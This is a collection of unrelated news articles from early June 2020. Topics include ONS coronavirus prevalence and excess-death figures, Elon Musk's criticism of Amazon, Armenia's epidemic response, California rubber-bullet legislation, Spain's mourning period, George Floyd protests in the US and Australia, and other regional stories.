ENGLAND'S CORONAVIRUS OUTBREAK SHRINKS BY HALF England's coronavirus outbreak appears to have shrunk by half in the past week, official data has revealed. The Office for National Statistics predicts that there are now only 53,000 people in England who currently have Covid-19 - 0.1 per cent of the population. This estimate is a significant drop from the 133,000 people (0.24 per cent) who were thought to the have the illness in the same data last week. It is based on swab testing of almost 20,000 random people across the country. And the ONS says that around 39,000 people per week are catching the infection - 5,500 per day, which is a drop from 54,000 per week between May 16 and May 23. The ONS report said: 'As the proportion of those testing positive in England is decreasing over time, it is likely that the incidence rate is also decreasing. 'However, because of the low number of new positive cases, we cannot currently measure a reduction.' Different data from blood antibody tests, published yesterday by Public Health England, suggested that around 8.5 per cent of the country has had the virus already - some 4.76million people. Professor Keith Neal, an epidemiologist at the University of Nottingham, said: 'The rate of infection continues to decline and is half what it was two weeks ago. Changes over a longer period are now statistically significant. 'This is highly compatible with the fall in diagnosed cases. The contact tracing service has more than enough staff to cope with the current level of infection.' Advertisement

And 1,567 excess deaths occurred due to 'symptoms signs and ill-defined conditions' - a 77.8 per cent rise from the five-year average.

Combined, those two categories accounted for two thirds of all the excess deaths that happened in that period.

Undiagnosed Covid-19 could 'help explain the rise' in the deaths of frail elderly people with underlying conditions, particularly women and those in care homes, the ONS added.

Nick Stripe wrote in a Twitter thread today: 'Dementia increases are so sharp it's implausible that they are unrelated to Covid-19.

'They generally affect the very old, they would tend to impact women to a greater extent than men simply due to pop[ulation] structure. Especially once care home epidemics took hold with [limited] testing.

'People with dementia are more likely to have communication problems describing symptoms...

'No reason to believe that Covid-19 has been knowingly omitted from death [certificates]. Symptoms may not be apparent. But we cannot discount the impact of changes to normal routines for vulnerable care residents following lockdown. These could have had adverse consequences too.

'The balance of evidence so far points to undiagnosed Covid in the elderly being the most likely explanation for a majority of excess deaths that did not mention CV on [death certificates].'

Mr Stripe added that this would tie in with a lack of testing in care homes throughout the majority of the outbreak.

Some experts have reported that elderly people seem to show different symptoms to younger people - more likely to be exhausted and weak than to have a cough - so it may have been harder for doctors to link deaths to the coronavirus without tests.

Mr Stripe's points are expanded in the ONS report, which read: 'The absence of large rises in deaths due to [dementia] that mention conditions that could exhibit similar symptoms to Covid-19 suggests that if Covid-19 is involved in the increase in deaths due to dementia and Alzheimer disease, the usual symptoms of Covid-19 were not apparent.

'This could fit with recent clinical observations, where atypical hypoxia [low blood oxygen] has been observed in some Covid-19 patients.

'In someone with advanced dementia and Alzheimer disease, the symptoms of Covid-19 might be difficult to distinguish from their underlying illness, especially with the possibility of communication difficulties.

'Care home residents have experienced changes to their usual routine as a result of measures to tackle the coronavirus pandemic. Adverse effects of such changes cannot be discounted as another possible explanation of the increase in the number of deaths in care homes.'

Friday's release is the first detailed analysis from the ONS looking at the increased number of deaths during the pandemic where coronavirus was not mentioned on the death certificate.

The highest number of excess non-Covid-19 deaths have taken place in care homes, with a weekly maximum of 2,975 of these deaths being registered in the seven days to April 17.

Non-Covid-19 deaths in private homes saw a separate peak in the week ending April 24, when 1,760 were registered.

The ONS said that if patients have been discharged from hospital sooner than they may have been typically, because of pressure on the NHS's resources, this 'could have resulted in some deaths occurring in care homes or private homes that would have otherwise occurred in hospital'.

It added that the reported lower rates of testing in all settings outside hospitals 'could lead to some deaths in other locations involving Covid-19 not having Covid-19 listed on the death certificate as a contributory factor, leading to apparently higher non-Covid-19 excess deaths'.

Chief executive of the King's Fund think-tank, Richard Murray, said today: 'This analysis confirms that the true death toll for Covid-19 is significantly higher than the numbers reported so far, with the majority of excess deaths likely linked to undiagnosed Covid-19.

'It also suggests that the pandemic has resulted in a number of deaths from other causes that would not have occurred if the country wasnt dealing with a pandemic.

'The report shows a significant spike in deaths attributed to dementia, which includes many care home residents whose lives may have been cut short by undiagnosed Covid-19.

' This once again highlights the tragic scale of avoidable deaths among people the government pledged to protect. Social care must never again be treated as an afterthought to the NHS but as an equal partner in an interdependent system.'
After a couple of days of silence on Twitter, Elon Musk has started to tweet again. The first tweet he made after his short-winded Twitter break was about how the e-commerce platform Amazon is monopolizing the e-commerce industry and they need to break themselves up.

Time to break up Amazon. Monopolies are wrong!  Elon Musk (@elonmusk) June 4, 2020

This kind of call out would usually have progressives echoing it, like Alexandria Ocasio-Cortez, Bernie Sanders, and Elizabeth Warren. But why did Musk get back on Twitter and say that Amazon needed to break up? It was to defend a former New York Times writer who became a slight celebrity to the right-wing because of his skepticism about coronavirus.

Musk tweeted towards Amazon's CEO Jeff Bezos saying that it was insane. What is he saying is insane? He's talking about Amazon's decision to censor a book with scientifically backed information and no false information in it is insane.

What Did The Book Contain?

The book by the former New York Times writer, Alex Berenson, stated that the book was based entirely on published scientific papers and official government data. Berenson's book doesn't falsely claim that the coronavirus doesn't harm people or that the virus is fake.

The peculiar billionaire has previously retweeted Berenson's tweets. Berenson has previously tweeted that the coronavirus's infection and death numbers have been inflated.

Musk has shared how he was skeptical of COVID-19 himself for the past couple of months. He feels critical towards quarantines and lockdowns, as well as how people share misinformation about the deadly virus, which has now claimed the lives of over 100,000 people all over the United States.

Read Also: What Did SpaceX Founder and CEO Elon Musk Mean By "The Trampoline Is Working"?

Musk's Short Twitter Break Ended For This

On the first day of June, Elon Musk decided to take a temporary break from posting on Twitter for a short while. This followed the wonderful achievement of the successful crewed mission using his SpaceX rocket, which was the first one in many years since 2011 with a commercial rocket. If you didn't know, Elon Musk is the founder and CEO of SpaceX.

Musk had announced he'd be "off Twitter for a while" on June 1, following the successful launch of his SpaceX rocket last Saturday. It was the first time NASA had launched astronauts into space since 2011 and the very first time a private company's spacecraft was used to do so. Musk is the founder and CEO of SpaceX.

Surprisingly, the CEO of Amazon, Jeff Bezos, has founded his own competing private space agency known as Blue Origin. Blue Origin still has its workers working during this pandemic after being deemed essential

Fortunately, Berenson's book has returned to Amazon's storefront thanks to Amazon reinstating the book. Amazon has had a spokesperson say that the removal of the book was a mistake, and it has nothing to do with the book's contents.

Berenson, the book's author, tweeted out thanks to Elon Musk as well as to anyone else who helped with the book coming back to get sold on Amazon.

Read Also: How to Become Elon Musk and Get a Performance Based Payout of $700M from Tesla
Prime Minister Nikol Pashinian said on Friday that despite the continuing rapid spread of coronavirus in Armenia his government still hopes to contain the epidemic without imposing a fresh nationwide lockdown.

Pashinian insisted that while renewed lockdown restrictions are one of the options currently considered by the government they are not necessarily a panacea for ending the countrys deepening coronavirus crisis.

Suppose that coronavirus indicators in Armenia are miraculously reduced to zero with the help of administrative levers, he told a daily news briefing. But  if there is no change in our individual behavior, as soon as we open up to the outside world potentially infected people will come to Armenia and we will have to do everything all over again.

So Im thinking along these lines: we must together solve this problem with mass changes of our individual behavior, he said. In this regard, I believe in Armenias citizens and believe that solutions to this and other problems lie in our consciousness and we should follow the path of changing our consciousness and behavior.

Accordingly, Pashinian repeated his calls for the population to practice social distancing, wear masks in all public and enclosed spaces, frequently wash hands and stay away from large gatherings. Citizens should also alert help authorities fight against violations of these safety rules, he said.

Critics of the government are skeptical about the effectiveness of this strategy. They say that only a renewed lockdown can make a difference.

Pashinian admitted earlier this week that the Armenian health authorities are also favoring such a drastic solution. He voiced misgivings, saying that it could cost the Armenian economy dearly. He also argued that the government had already issued stay-at-home orders, banned public transport and shut down most businesses in late March.

Critics counter that the authorities never properly enforced the lockdown and ended it too soon. They cite the example of many European countries and especially neighboring Georgia whose government only recently began easing serious curbs on peoples freedom of movements and reopening the domestic economy.

The Georgian authorities have so far reported 805 coronavirus cases and only 13 deaths caused by them, compared with 11,817 cases and at least 183 fatalities registered in Armenia.

On Thursday alone, the Armenian Ministry of Health recorded about 600 single-day COVID-19 infections. By contrast, only 4 people in Georgia tested positive for the virus.

Health Minister Arsen Torosian warned on Thursday that Armenias healthcare system is now so overstretched that hospitals may soon be unable to admit all infected people in need of urgent treatment.
In 2019, Ukraine became second largest exporter of organic products to the European Union.

This is stated in the annual report of the European Commission EU imports of organic agri-food products. Key developments in 2019, Organicinfo reports.

"Ukraine has significantly strengthened its positions in the EU organic market. In 2019, Ukraine ranked 2nd out of 123 countries in terms of the volume of imported organic products to the EU, climbing two places compared to the previous year. In 2019, 3.24 million tonnes of organic agri-food products were imported into the EU, and more than 10% came from Ukraine, the statement reads.

As noted, Ukrainian exports to the European Union increased by 27% - from 265,820 tonnes in 2018 to 337, 860 tonnes in 2019. The main imported products from Ukraine are cereals (excluding rice and wheat) - 76.9%; wheat - 31.8%; oilseeds (excluding soyabeans) - 18.2%; soyabeans - 13%; fruits - 11%. Ukrainian oilcake, fruit juices and vegetables are also key export products to the EU.

In 2018, Ukraine was fourth largest exporter of organic products to the European Union, trailing only China, Ecuador and the Dominican Republic.

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A protester runs for safety after being shot with a foam round by LAPD officers at 3rd Street and Fairfax Avenue in Los Angeles on Saturday. (Wally Skalij / Los Angeles Times)

Alarmed at numerous reports that protesters in recent days have been seriously injured by rubber bullets fired by police officers, a group of California lawmakers said Thursday they will introduce legislation to set clear standards for when the projectiles can be used.

Four lawmakers proposed revising current policy on use of the projectiles in response to incidents reported throughout the country by those who have been protesting the death of George Floyd, who was killed when a Minneapolis police officer used his knee to pin Floyd's neck to the ground.

Injured protesters include a Dallas man who said he lost his left eye after being hit by a so-called less-lethal projectile, according to the Dallas Morning News.

In California, protesters have been bloodied and bruised when hit with rubber bullets. This week, Los Angeles Mayor Eric Garcetti said he had directed the LAPD to minimize the use of projectiles when dealing with peaceful protesters.

No one who is simply exercising their right to protest should face possible injury or death because officers are indiscriminately firing rubber bullets into a crowd, said Assemblywoman Lorena Gonzalez (D-San Diego), who was joined in announcing the legislation by Democratic Assembly members Shirley Weber of San Diego and Ash Kalra of San Jose, along with state Sen. Scott Wiener (D-San Francisco).

Although the legislation has not yet been drafted, comments by lawmakers indicated their goal is to curb the use of rubber bullets for crowd control against peaceful protesters and those breaking city-imposed curfews.

Gonzalez cited a 2017 study by researchers from schools including UC Berkeley that indicated 15% of people hit by rubber bullets were seriously injured, and some injuries were fatal.

The legislators said current regulations do not require manufacturers to keep records on injuries from their products in development, field trials or actual use.

The legislation, which has not yet been introduced, would also address lawmakers' concerns that the state does not currently require law enforcement to collect data on injuries from rubber bullets or document their use of such projectiles, both issues that will be addressed in the legislation.

Story continues

Currently, the state leaves it up to individual law enforcement agencies on whether to use rubber bullets or not, said Meagan Catafi, a spokeswoman for the state Commission on Peace Officer Standards and Training.

The commission does have recommendations on crowd-control strategies, but they are general and cite court rulings, advising: In all situations, the force used must be objectively reasonable under the totality of the circumstances.

The California Police Chiefs Assn. has asked for the bill language when it is developed and will review it then, said Leslie McGill, executive director of the organization.

Agencies should have policies guiding the use of such types of less-lethal force, McGill said.

The lawmakers said they are developing the bill language based on what they are learning from the last week of protests.

As lawmakers, we cannot stand by idly while people are being brutalized as they are exercising their free speech, Kalra said. Rubber bullets should not be used to suppress freedom of assembly, peaceful protest or to facilitate curfews and disperse people demonstrating.
King Felipe VI and Queen Letizia of Spain observed a minutes silence for the country's Covid-19 victims today on the last day of the country's mourning period.

The Spanish royalty were visiting the Coslada Transport Center in Madrid when they payed their respects to those who have died from the coronavirus.

Spain has been one of the hardest hit nations in Europe with 27,134 coronavirus-related deaths reported and the country went into a 10-day mourning period on Wednesday last week.

But on Tuesday the country announced zero new deaths from the disease for the second day running as lockdown restrictions are set to be eased next week.

King Felipe VI and Queen Letizia of Spain observed a minutes silence for the country's Covid-19 victims during their visit to Coslada Transport Center in Madrid today

The Spanish royalty pay their respects to the 27,134 who have died from coronavirus in the country alongside workers at the centre

Queen Letizia, wearing a face mask, talks to a worker at the Transport Center on the last day of the country's official 10-day mourning period for coronavirus victims

The country announced a 10-day mourning period on Wednesday last week and on Tuesday this week announced zero new coronavirus-related deaths for the second day running

Lockdown restrictions in the hard-hit cities of Madrid and Barcelona will be eased further, Spanish health minister Salvador Illa told a news conference today.

Customers will be allowed to eat and drink inside bars and restaurants rather than just on outdoor terraces and children will be able to play outside at any time of day from Monday.

Queen Letizia wore an all-black ensemble while mourning the country's victims and her husband wore a black tie.

Both of the Royals donned personal-protective equipment (PPE) face masks while walking around the Transport Center, as did staff.

King Felipe VI and Queen Letizia enter the Center with Spanish Minister of Transport Jose Luis Abalos (left), Madrid's regional President, Isabel Diaz Ayuso (second-left) and Madrid's regional Minister of Transport Angel Garrido (second-right)

King Felipe VI greets Madrid regional minister of transport Angel Garrido on his entrance to the Center in Coslada

The official mourning that finished today is the longest in Spain's democratic history since the dictatorship of General Francisco Franco that followed the 1936-1939 civil war

Coslada Transport Center workers explain how the centre operates to King Felipe VI and Queen Letizia

King Felipe VI and Queen Letizia talk to workers at the Coslada Transport Center in Madrid today

Spain claimed to have suffered zero coronavirus deaths for the second day running on Tuesday, amid doubt over the numbers after they changed the way they are tallied

The country also claimed to have seen just 137 new coronavirus cases in 24 hours on the day, though the overall total moved upwards by 293 because of how it now reports the numbers

Grieving Spaniards first fell silent across the nation at midday on Wednesday last week.

'We all feel orphans today of so many of our elders, wishing we had been able to thank them for all they did for us,' said parliament speaker Meritxell Batet on the day.

The official mourning that finished today is the longest in Spain's democratic history since the dictatorship of General Francisco Franco that followed the 1936-1939 civil war.

At its early April peak, the virus claimed 950 lives in a day but now Spain is slowly returning to a new normality as outlets reopen, albeit with social distancing.

Anger at the government's handling of the crisis intensified in recent weeks, with street protests breaking out in some parts of the country.
THE BODY IN QUESTION, by Jill Ciment. (Vintage, 192 pp., $15.) According to our reviewer, Curtis Sittenfeld, the many pleasures of Ciments novel about an affair between two jurors sequestered during a murder trial include how knowingly but matter-of-factly Ciment depicts class distinctions, her view of human fallibility and her unexpected ending. I was left unsettled by this deft and gripping novel, and also deeply impressed.

MISTRESS OF THE RITZ, by Melanie Benjamin. (Bantam, 400 pp., $17.) A young American actress arrives in 1920s Paris and marries the soon-to-be manager of the Hotel Ritz; they host Fitzgerald, Hemingway, Coco Chanel  until the Nazis set up shop there in 1940. What follows, our reviewer, Susan Ellingwood, wrote, is a vividly imagined thriller about two enigmatic people with tantalizing secrets.

NO VISIBLE BRUISES: What We Dont Know About Domestic Violence Can Kill Us, by Rachel Louise Snyder. (Bloomsbury, 336 pp., $17.) In this investigative tour de force, one of our 10 Best Books of 2019, Snyder dismantles the myths of intimate partner terrorism, from the titular one about bruises to the notion that women choose to stay. The Times critic Parul Sehgal compared it to Rachel Carsons Silent Spring in its literary indelibility: I read Snyders book as if possessed, stopping for nothing, feeling the pulse beat in my brain.

FALL: Or, Dodge in Hell, by Neal Stephenson. (Morrow, 896 pp., $21.99.) Our reviewer, Charles Yu, described this sci-fi novel about how reality might be simulated  gradually sucking all of humanity into the Matrix in the process  as a staggering feat of imagination, intelligence and stamina.
Source: Xinhua| 2020-06-05 21:00:33|Editor: huaxia

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Aerial photo taken on May 24, 2020 shows a green belt along Yuxi River in Yulin City, northwest China's Shaanxi Province. (Xinhua/Tao Ming)

BEIJING, June 5 (Xinhua) -- China's development faces uncertainty amid the COVID-19 pandemic and a global recession, but the economic and social fallout will not derail the country's efforts to push green development.

The Chinese government has pledged to further reduce energy consumption per unit of gross domestic product and the discharge of major pollutants this year, as declared in the government work report, showing an ability to strike a balance between development and environmental protection. Such a move is encouraging for a world grappling with climate change, pollution and loss of biodiversity.

China will not allow the red line of ecological protection to be crossed or relax regulations because development is facing difficulties. Otherwise, the progress achieved over years of arduous efforts would be futile.

In its battle with pollution, China has been making changes to the industrial edifice, effecting the transformation to development with a low carbon footprint, promoting a green lifestyle, and providing the public with more eco-friendly products.

Aerial photo taken on June 4, 2020 shows the view of terraced field in Gandong Township of Rongshui Miao Autonomous County, south China's Guangxi Zhuang Autonomous Region. (Xinhua/Huang Xiaobang)

The country has also been an active participant in global climate governance, pledging 20 billion yuan (2.8 billion U.S. dollars) in the China South-South Climate Cooperation Fund dedicated to help other developing countries combat climate change. China is fully meeting its commitment to nationally-determined contributions on climate change under the Paris climate agreement and also helping advance green development in the Belt and Road Initiative.

Practices undertaken by China have shown that development and environmental protection are not contradictory but complementary.

The country is one in believing that clear waters and lush mountains are invaluable assets and improving the environment leads to increased productivity. To put it simply, green is gold.

In the following years, China will see ramped up efforts to control air pollution, construction of more sewage and garbage treatment facilities, faster relocation and transformation of producers of hazardous chemical products in densely populated areas, and the development of energy-saving industries.

The World Environment Day is being observed Friday with the theme of biodiversity. It is a call to all sections of the global community to rally behind efforts to make the planet a better place to live in.

China, with the joint efforts of its 1.4 billion people, is definitely part of the endeavor to build a greener and better future for all. 
A mother-of-two has been left outraged after discovering her ex-partner is making a monthly donation to charity, while paying minimum maintenance for his own two children.

The unnamed UK-based parent revealed that her former partner, gives her just 25 a week, or 12.50 per head, for their two children, forcing her to rely on benefits to top up her income.

She vented her frustrations on Mumsnet's Am I Being Unreasonable, explaining that because money doesn't even cover her children's lunches they need free school meals, and he tells her to use her benefits when she complains.

The majority of commentrs shared her anger, and questioned if he was hiding his true income to avoid paying more, while a handful defended him, saying that as long as he pays what's legally required, he can do what he wants with the rest of his money.

A UK-based mother said she was outraged by the fact her former partner was donating money to charity while only paying the minimum of 25 per week - 100 per month - for their own two children. Pictured: a stock picture of a couple arguing

'I've just found out my ex, through his business as a sole trader, donates a monthly "financial contribution" to the local food bank that is run by a religious organisation, as well as making regular food donations too,' the mother wrote.

'I'm absolutely enraged. I receive 25 a week through CMS collect and pay service for a teenage daughter and 11-year-old son. This has been regular now for about two years.'

The mother-of-two explained she had not received any payment before then, and added her ex-partner added salt to the wound by slating her for having to survive on benefits such as child tax credit and child benefit to top up her income.

'I get called a benefit bum quite a bit and when I try to explain that 25 doesn't go very far in order to at least feed them. He tells me, "That's what your benefits are for",' she said.

In a post on Mumsnet, the mother-of-two explained she had to rely on benefits to feed her children. She added her former partner judged her for that

She added she felt she would be paid even less money in a few months, because her ex-partner has had another baby with a new girlfriend.

'I'm literally just waiting for the CMS to go down as I know he will contact them to tell them that, as he knows it will lead to a further deduction.'

In spite of her anger, the woman wanted to stress her frustration were only directed at her former partner, not the food bank he apparently supported.

Mumsnet members shared the mother's frustrations and said her partner should not be praised for doing the strict minimum

Mumsnet members felt for the mother-of-two and shared her angry, stressing her former partner was only doing the minimum for his children.

'He sounds like an idiot, OP! I would be fuming too,' one said.

'12.50 a week per child doesn't even cover their lunch money. Either your husband is really poor or he's a lying b******. I presume you know which. I'm furious on your behalf.

Some people sided with the ex and said he's paying what the CMS requires, and that his former partner should take action if she thinks he's earning more than he's declaring

'What kind of a man pays the legal minimum whilst giving money away to random strangers. Have a think for a minute. 12.50 a week contribution for a child is a disgrace,' another said.

'I cannot believe there are posters who think, knowing he has a mortgage-free home, and is making regular tax deductible and very public charity contributions, who clearly has an accountant who knows what they are doing, and is paying 12.50 per child per week and doing absolutely none of the work of child rearing, and name calls the mother of his children, he is some sort of hard done by, great guy. RAISE YOUR STANDARD FOR FATHERS,' another said.
"What is not being told is the violent criminal history of George Floyd. The media will not air this."

The head of the Minneapolis police union says George Floyd's "violent criminal history" needs to be remembered and that the protests over his death are the work of a 'terrorist movement.'

The police union president, Bob Kroll wrote on Twitter to inform people about Floyd's criminal records.

"Floyd pleaded guilty to entering a woman's home, point a gun at her stomach, and searching the home for drugs and money, according to the court records."

"Floyd was sentenced to 10 months in jail for having less than one gram of cocaine in December 2005."

Shown on the record, Floyd had previously been sentenced to eight months for the same offense, stemming from an October 2002 arrest including theft in 1998.

Disregarding the crimes, there have been comments under George Floyd's death with people supporting "Black Lives Matter" on social media.

"Floyd moved to Minneapolis in 2014 for a fresh start after being released from prison in Houston, Texas for robbery."

"No matter what the case is, no one deserves to be killed on site."

"Floyd's criminal record from decades ago doesn't give any reasons for one to kill him."

"If he was a white man, he would have been alive."
It's been almost three months. That's right, almost three months since the Jewish Pavilion program directors and volunteers have been actually able to go and be with its seniors. Purim came and went with celebrations canceled and everyone thought or hoped that by Passover they would be with the seniors. It wasn't long before it was realized that they weren't going to be with them for Passover nor were they sure when they would be able to visit with the seniors again. The Pavilion's mission is hands-on and the program directors have had to think outside of the box. They wrote letters and ask...
Franklin D. Roosevelt ordered that those words be inscribed on the State Dining Room fireplace, over which hung a portrait of Abraham Lincoln. This was during the final year of World War II. Though there had been fears that the White House might be the target of enemy bombers, Roosevelt resisted the security measures that were being urged upon him  among them sandbags and camouflage. He knew that it would shake the countrys confidence to see its president living in what looked like a bunker.
KITCHENER  A man charged with shooting three people outside a Kitchener plaza last summer made a brief court appearance on Friday.

Brandon James, 22, was remanded in custody until Monday when a date will be set for a bail hearing. He was arrested on Thursday.

The daylight shooting happened at a plaza at 500 Fairway Rd. S. on June 24, 2019, and injured a man and two women.

The man was airlifted to an out-of-town trauma centre in critical condition. He has been released from hospital, but suffered life-altering injuries, Waterloo Regional Police said.

Two female bystanders had non-life-threatening injuries.

The shooting happened around 5:40 p.m. The suspect fled before police arrived.

At the time of the incident, the male victim was involved in a dispute with two other males, police said in a news release. An altercation ensued at which point the accused approached the fight and fired multiple rounds.

James is charged with three counts of aggravated assault, one count of attempted aggravated assault, careless use of a firearm, carrying a concealed weapon and other weapons charges.

Court records show he lives in Petrolia, 25 kilometres east of Sarnia.
By Laman Ismayilova

European International Theatre Conference will host ETC International Theatre Conference online on June 10-12.

The conference is expected to bring together theater figures from Azerbaijan, Austria, Croatia, Poland, Slovenia, etc.

At conference, Azerbaijan will be represented by the State Academic Musical Theatre, Azertag reported.

The ETC International Theatre Conference in Graz (Austria) was originally planned for June 2020. However, the event was postponed due to COVID-18 pandemic.

What world can we expect after the coronavirus crisis? How can theatres shape the best possible future for their houses? While it is impossible to know exactly how the post-coronavirus world will be for theatres, the upcoming ETC International Theatre Conference will aim at giving European theatres the tools to be able to respond to the situation.

The ETC International Theatre Conference are held twice a year at an ETC Member Theatre. These high-level events are an occasion for ETC Members and selected guests to explore new trends in European theatre and an excellent forum for information, exchange, debate and networking.

---

Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova

Follow us on Twitter @AzerNewsAz
Source: Xinhua| 2020-06-05 20:11:52|Editor: huaxia

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MADRID, June 5 (Xinhua) -- Lionel Messi is a doubt for the restart of La Liga after missing training with the rest of the FC Barcelona squad on Friday for the second consecutive day.

Messi's absense comes after Catalan TV network TV3 commented on Wednesday that the striker had complained of a slight problem in his right hamstring.

Following Friday's training session, Barca wrote on their website that "Messi has a slight muscle contracture in his right leg. He has carried out individual work to avoid risks as there are eight days remaining until the first league game."

"It is expected he will return to working with the squad in the coming days," adds the club, which also explains that young forward Ansu Fati carried out individual work in the gymnasium..

Barca return to action away to Real Mallorca on Saturday, June 13. Enditem
SPRINGFIELD  Bexie Lopez of Springfield turned to Providence Behavioral Health Hospital in Springfield more than a decade ago when her son  then age 9  had a difficult time adjusting after the sudden violent death of his father.

"He would run away from the classroom," Lopez said Thursday at a rally protesting the imminent planned closure of the hospital's 74 inpatient beds at the end of this month. "He would run away from the classroom and out into traffic saying he wanted to kill himself so he could be with his father."

Today, that troubled child is a young man of 20, doing well and a college student, she said.

"I got my son back," she said describing how Providence not only got him counseling but a counselor for her as well. "Now I'm worried they wont be there for anybody else."

Providence Behavioral Healths owners  Mercy Medical Center and its parent Trinity Health operating locally as Trinity Health New England  are going through the state regulatory process now and have not yet received final permission to close the 74 beds, a number that includes 12 pediatric psychiatric beds for children and teens.

Trinity blamed it s inability to hire psychiatrists as well as the low reimbursements paid for mental health care, as well as the age of the facility as reasons to close.

Providence will also move services at its methadone clinic on Mill Street in Springfield to a methadone clinic in Holyoke, also by June 30.

Unions  the Massachusetts Nurses Association and the United Auto Workers  representing workers at Providence rallied Thursday outside the office of Mercy Medical Center Boards of Directors Chairman Paul Mancinone.

"We are going to pull all the levers we can to get this decision reversed," said Rudy Renaud of the Massachusetts Nurses Association. "We need people to listen."

About 200 of 466 employees will lose their jobs. But as nurses pointed out, they are employable elsewhere. The shutdown leaves Western Massachusetts with a shortage of psychiatric beds generally and none for children and adolescents. Troubled youth will have to go to the eastern third of the state, to Connecticut or to the Brattleboro Retreat in Vermont.

Also speaking out Thursday was Nicole Desnoyers who spoke of her troubles getting help for her 10-year-old middle child, Ja-seir who had to go hours away for help.

"Western Massachusetts needs more, not less," she said.

On Thursday, unionized employees said that Trinity has already started shutting down the units at the hospital, refusing to take new patients ahead of its planned closure.

"That's standard operating procedure for these people," said Ron Patenaude, associate director for the division of labor action at the nurse's union. "They set it up to fail."

Trinity spokeswoman Mary Orr said in an email that the hospital evaluates all admissions based on its ability to safely care for each patient, which includes daily staffing levels.

"We continue to also work with our partners and other facilities to ensure that patients receive timely and appropriate care," she wrote. "As of July 1st, we will have no employed full-time board-certified pediatric, adult or geriatric inpatient psychiatrists."

Trinity last week answered state health regulators, who wanted to know how hard itd worked to recruit psychiatrists.

Providence said that since 2018 it has used dedicated physician recruiters through Trinity Health Of New England , made competitive salary offers, advertised, did direct outreach and hired an outside recruiter.

Trinity Health also reiterated its plans to send patients to other hospitals it owns: Mt. Sinai Hospital in Hartford, Connecticut, and Johnson Memorial Hospital in Stafford Springs, Connecticut . Both hospitals, Trinity said, are accessibly by bus, car services like Uber and Lift or via CTRails Hartford Line so families can come and visit.

Both Holyoke Medical Center and Baystate Medical Center have plans for their own inpatient psychiatric faculties. But both, which will be built with for-profit partners, are at least two years in the future.
Welcome to this weeks edition of the Surge. This year has been full of exhausting, emotional periods, but this past week might have been the heaviest of them all. Lets try to offer some fleeting, minor relief, then, by looking at a whole bunch of shitty polls for Donald Trump.





At this moment, Joe Biden is polling better against Donald Trump than any challenger to an incumbent president in recent memory, and the Trump campaign knows it. Thats why were taking an expansive look at swing states in this edition, considering a slew of statessome that we noted a few weeks ago and some newcomersthat arent necessary for Biden to win the Electoral College, but which, if the election were held tomorrow, he might.





Anyone who recalls that just a few months ago the biggest problem in the country was how the Iowa Democratic Party was slow to report election results knows how quickly and comprehensively the dominant news stories can change, and with them, the election outlook. In one month, media coverage might be exclusively focused on the international response to toxic purple blobs that have mysteriously descended from deep space. But lets not get so bogged down in our hedging that we cant state the obvious: Biden is the favorite.
Young Australians have revealed why they are risking contracting coronavirus to take part in Black Lives Matter protests happening across the country this weekend.

Protesters will break COVID-19 restrictions to swarm city streets across Australia on Saturday to show solidarity with the movement and demand an end to Aboriginal deaths in custody.

Debate has been raging over whether the protests should go ahead as they increase the risk of the deadly illness spreading.

Those who are planning to attend the protests say they are aware of the risks but the the movement is too important to miss.

Dakota Gotty, 21, told Daily Mail Australia the protests are very personal for as she has experienced racism first hand.

Ms Gotty lives in Sydney but is from New Zealand, she is of Maori descent.

She said herself and her family members have been discriminated against because of the colour of their skin.

'Just because we have different coloured skin doesnt mean we should be treated differently,' she said.

Ms Gotty said she was planning on going to the Sydney rally and hoped others would join her.

Dakota Gotty, 21, (pictured) says she will attend the protest as she has experience racism firsthand

Thousands of protesters are planning to break COVID-19 restrictions to march in support of the Black Lives Matter movement this weekend

Julia Hauser, an executive assistant in Melbourne, told Daily Mail she will take the necessary precautions to ensure she is as safe as possible while protesting in the city on Saturday.

'Im going to Melbournes protest because being an ally takes constant fine tuning. As a white person, I am a beneficiary of white privilege and looking the other way is complicit in racism.

'Racism hasnt taken a back seat to the virus.'

The protests come in the wake of the alleged murder of George Floyd.

Floyd, a 46-year-old black man, died in custody of the Minneapolis Police Department on Monday May 25 after an officer knelt on his neck for eight minutes while making an arrest.

His death has led to rallies across the U.S and the world and sparked a global social media movement condemning violence against black people at the hands of police.

Saturday's protests, which will be held in major cities across the country, come after more than 3,000 demonstrators gathered in Sydney on Tuesday evening (protesters in Sydney pictured) to rally against indigenous deaths in custody in the wake of the alleged murder of George Floyd

Ms Hauser, 26, said it was important for her to get out and rally as she is originally from Minneapolis and she wanted to show solidarity with her friends and family back home.

She said Australians also need to mobilize and stand up for the Indigenous Australians who deal with many of the same injustices as black Americans.

Leaders in two of the hardest hit states - New South Wales and Victoria - have been trying to deter the protests, with Victorian Premier Daniel Andrews telling protesters to stay home as the mass gatherings increase the risk of spreading the deadly illness.

'It would not be safe, in my judgment, and the judgment of our medical experts, to be having gatherings of that size.'

Victoria Police announced on Friday afternoon protest organisers may be fined under COVID-19 social distancing rules if more than 20 people attend the events.

NSW Police will apply for an injunction from the Supreme Court to stop Saturday's Black Lives Matter protests, arguing it breaches public health orders.

Dakota Gotty, 21, (pictured) is one of many millennials attending the protest in Sydney on Saturday

Protesters participate in a Black Lives Matter rally, following the death in Minneapolis police custody of George Floyd, in Sydney on Tuesday

Premier Gladys Berejiklian previously gave Saturday's protest the greenlight, but has since changed her mind.

The protests are in the wake of the alleged murder of George Floyd (pictured)

She told reporters approval was given earlier in the week for what they thought would be a small gathering.

'The NSW Government would never ever give the green light to thousands of people flagrantly disregarding the health orders.'

Leading infectious diseases physician Sanjaya Senanayake said large protests pose a risk of transmission.

While speaking to Daily Mail Australia, he said there would likely be a new cluster of cases following the protests due to the size of the gatherings.

'Theres definitely a risk, whenever see a restriction eased theres always been a rise in cases.

'As we have tens of thousands of people in close quarters, it's going to be hard to social distance.

Victorian Premier Daniel Andrews has confirmed protesters won't be fined or arrested for breaking social distancing on Saturday at a Black Lives Matter protest

I cant imagine with 30,000 in close proximity theyll be able to social distance, and if people are excited theyre going to shouting that could potentially increase the risk of transmission.'

Protest organisers have urged people to wear face masks and bring hand sanitiser.

Victoria Police Assistant Commissioner Luke Cornelius said he would rather the protest didn't occur at this time, when the spread of COVID-19 remains a threat.

But he stressed the force supports people's right to protest.

He urged Victorians to follow the Chief Health Officer's directions on social distancing to prevent the event becoming a coronavirus 'tipping point'.

'No pride in Australia's genocide': Protesters march in Sydney on Tuesday

Tens of thousands of protesters are preparing to march through Australian cities this weekend in support of the Black Lives Matter movement (pictured: A protest in Sydney on Tuesday)

Mr Cornelius said the force was committed to working with the Victorian Aboriginal community.

